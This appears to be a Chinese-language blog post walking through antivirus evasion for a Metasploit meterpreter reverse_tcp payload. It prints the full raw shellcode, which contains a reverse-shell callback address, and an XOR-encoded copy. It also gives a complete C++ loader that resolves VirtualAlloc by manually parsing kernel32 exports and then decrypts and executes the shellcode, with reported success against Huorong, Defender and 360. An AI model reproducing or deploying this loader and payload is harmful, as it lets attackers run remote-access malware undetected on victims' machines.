Shellcode,顾名思义是一段拿来执行的代码片段,我们可以使用Shellcode来完成我们需要的任务
弹窗的代码,可以被认为是一段Shellcode,获取某个模块的基址的代码,也可以被认为是一段Shellcode,同理,拿来干坏事的代码,也是Shellcode
如今的杀毒软件都拥有查杀病毒木马的能力,除了静态的查杀,还有动态的主动防御,若恶意代码片段(拿来干坏事的Shellcode)被杀软发现,则可以认为当前运行的程序是病毒木马或是被感染的文件,理应“杀掉”
有些时候,我们不想让自己写的代码被杀毒软件当作恶意软件,于是出现了免杀技术,今天来尝试着做一次免杀
首先使用万能的Metasploit生成一个普普通通的payload文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx -f exe -o payload.exe
把payload.exe复制到带有火绒的系统中,被秒杀,由此见得各杀软是把这一类工具的产物盯得死死的
换个思路,仅把Shellcode生成出来,自己做免杀
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx -f c -o payload.c
得到的payload.c如下
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x8b\x48\x18\x50"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x99\x81\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
然后我们使用C++来执行这段Shellcode
#include <Windows.h>
#include <iostream>
using namespace std;
// 此处是上面的payload.c中的代码
int main()
{
int a;
cin >> a;
if (a == 123)
{
auto b = (void(*)())VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(b, buf, sizeof(buf));
b();
}
}
开发环境用的是Visual Studio 2019,Release x86,其余是默认设置
我们将编译好的程序运行,输入123回车,Shellcode执行成功,而全程火绒没有任何反应
火绒的静态和主防能力有点令人糟心
将程序复制到有Defender的系统上,被秒杀
Defender静态查杀估计是特征码,我们将payload加密一下
string s;
for (size_t i = 0; i < sizeof(buf); i++)
{
int n = buf[i] ^ 0x44;
char c[5]{};
sprintf_s(c, "\\x%x", n);
s += c;
}
cout << s << endl;
即可得到加密后的payload,我们把输出的新payload替换原有的payload,然后在b();上一行添加解密代码
for (size_t i = 0; i < sizeof(buf); i++)
{
((unsigned char*)b)[i] ^= 0x44;
}
这次新生成的程序成功绕过了Defender的静态查杀,网传Defender没有主动防御,不知是真是假,反正Shellcode也成功执行,代表着Defender没起作用
接下来把程序复制到有360的系统上,360没有第一时间报毒,但是双击执行的时候被拦截下来了,弹窗提示木马
好家伙,接下来就是长达半小时的不断尝试
本身Shellcode被加密,特征码肯定是没有了,而程序一开始并没有执行Shellcode,因此被杀的原因肯定是出在自己的C++代码上
考虑到VirtualAlloc是一个高危函数,在杀软心中权重很大,且配合其参数,申请一块可执行的内存空间的行为非常可疑,这应该是被杀的主要原因
采用我前面发的写壳的文章中手动找函数地址的方法,避开将VirtualAlloc明文写在导入表里
#include <Windows.h>
#include <iostream>
using namespace std;
typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* fVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
unsigned char buf[] = "\xb8\xac\xcb\x44\x44\x44\x24\x75\x96\xcd\xa1\x20\xcf\x16\x74\xcf\x16\x48\xcf\x16\x50\x75\xbb\x4b\xf3\xe\x62\xcf\x36\x6c\x75\x84\xe8\x78\x25\x38\x46\x68\x64\x85\x8b\x49\x45\x83\xd\x31\xab\x16\xcf\x16\x54\x13\xcf\x6\x78\x45\x94\xcf\x4\x3c\xc1\x84\x30\x8\x45\x94\xcf\x1c\x64\x45\x97\xcf\xc\x5c\x14\xc1\x8d\x30\x78\x75\xbb\xd\xcf\x70\xcf\x45\x92\x75\x84\x85\x8b\x49\xe8\x45\x83\x7c\xa4\x31\xb0\x47\x39\xbc\x7f\x39\x60\x31\xa4\x1c\xcf\x1c\x60\x45\x97\x22\xcf\x48\xf\xcf\x1c\x58\x45\x97\xcf\x40\xcf\x45\x94\xcd\x0\x60\x60\x1f\x1f\x25\x1d\x1e\x15\xbb\xa4\x1c\x1b\x1e\xcf\x56\xad\xc4\xbb\xbb\xbb\x19\x2c\x77\x76\x44\x44\x2c\x33\x37\x76\x1b\x10\x2c\x8\x33\x62\x43\xcd\xac\xbb\x94\xfc\xd4\x45\x44\x44\x6d\x80\x10\x14\x2c\x6d\xc4\x2f\x44\xbb\x91\x2e\x4e\x2c\x84\xec\xdd\xc5\x2c\x46\x44\x55\x18\xcd\xa2\x14\x14\x14\x14\x4\x14\x4\x14\x2c\xae\x4b\x9b\xa4\xbb\x91\xd3\x2e\x54\x12\x13\x2c\xdd\xe1\x30\x25\xbb\x91\xc1\x84\x30\x4e\xbb\xa\x4c\x31\xa8\xac\x23\x44\x44\x44\x2e\x44\x2e\x40\x12\x13\x2c\x46\x9d\x8c\x1b\xbb\x91\xc7\xbc\x44\x3a\x72\xcf\x72\x2e\x4\x2c\x44\x54\x44\x44\x12\x2e\x44\x2c\x1c\xe0\x17\xa1\xbb\x91\xd7\x17\x2e\x44\x12\x17\x13\x2c\x46\x9d\x8c\x1b\xbb\x91\xc7\xbc\x44\x39\x6c\x1c\x2c\x44\x4\x44\x44\x2e\x44\x14\x2c\x4f\x6b\x4b\x74\xbb\x91\x13\x2c\x31\x2a\x9\x25\xbb\x91\x1a\x1a\xbb\x48\x60\x4b\xc1\x34\xbb\xbb\xbb\xad\xdf\xbb\xbb\xbb\x45\x87\x6d\x82\x31\x85\x87\xff\xb4\xf1\xe6\x12\x2e\x44\x17\xbb\x91";
size_t getKernelBase()
{
return *(***(*((size_t*****)__readfsdword(0x30) + 3) + 7) + 2);
}
int main()
{
int a;
cin >> a;
if (a == 123)
{
size_t hKernel = getKernelBase();
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)hKernel;
PIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)(pImageDosHeader->e_lfanew + hKernel);
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hKernel);
size_t nameCount = pImageExportDirectory->NumberOfNames;
size_t funcAddr = pImageExportDirectory->AddressOfFunctions + hKernel;
size_t nameAddr = pImageExportDirectory->AddressOfNames + hKernel;
size_t ordinal = pImageExportDirectory->AddressOfNameOrdinals + hKernel;
fGetProcAddress fnGetProcAddress = NULL;
for (size_t i = 0; i < nameCount; i++)
{
USHORT* n = (USHORT*)(*(size_t*)(nameAddr + i * 4) + hKernel);
if (n[0] == 0x6547 && n[1] == 0x5074 && n[2] == 0x6f72 && n[3] == 0x4163 && n[4] == 0x6464 && n[5] == 0x6572 && n[6] == 0x7373)
{
fnGetProcAddress = (fGetProcAddress)(*(size_t*)(funcAddr + *(USHORT*)(ordinal + i * 2) * 4) + hKernel);
}
}
if (fnGetProcAddress == NULL)
{
return 0;
}
size_t str1[4];
str1[0] = 0x74726956;
str1[1] = 0x416c6175;
str1[2] = 0x636f6c6c;
str1[3] = 0x0;
fVirtualAlloc fnVirtualAlloc = (fVirtualAlloc)fnGetProcAddress((HMODULE)hKernel, (char*)str1);
auto b = (void(*)())fnVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(b, buf, sizeof(buf));
for (size_t i = 0; i < sizeof(buf); i++)
{
((unsigned char*)b)[i] ^= 0x44;
}
b();
}
}
要注意的是,我这里把找Kernel32.dll基址的代码另起了一个函数,是因为不这样的话还是会被查杀,估计是“获取基址+解析PE文件”这一段代码被识别成了特征码,而我将它们分开则破坏了特征
为了不让编译器优化机制坏我们的好事,在设置中关闭编译器优化
接下来新生成的程序成功绕过了360的查杀,顺利执行了Shellcode
再将程序分别拿到有火绒和有Defender的系统中,照样无视它们~
至此,Shellcode免杀就告一段落了,这次尝试还是比较成功的,在思考的过程中我也有许多的收获,自己也有一些独自的见解,比如插入花指令啥的,当时试了一下没起作用,现在想想,有可能是被编译器优化坏了好事= =
同时,在网上收集资料的过程中也看到了许多大佬的文章和心得,函数哈希、托管代码、powershell、白加黑等操作令我耳目一新,有时间的话把这些方法都学一学,也算是增长见识了
现在的杀软的云查杀非常厉害,单独的免杀我认为前途不大,如果程序能够自己“分裂”无数个自己,而每个自己又不相同,却可以完成一样的事情,这才能真正应对云查杀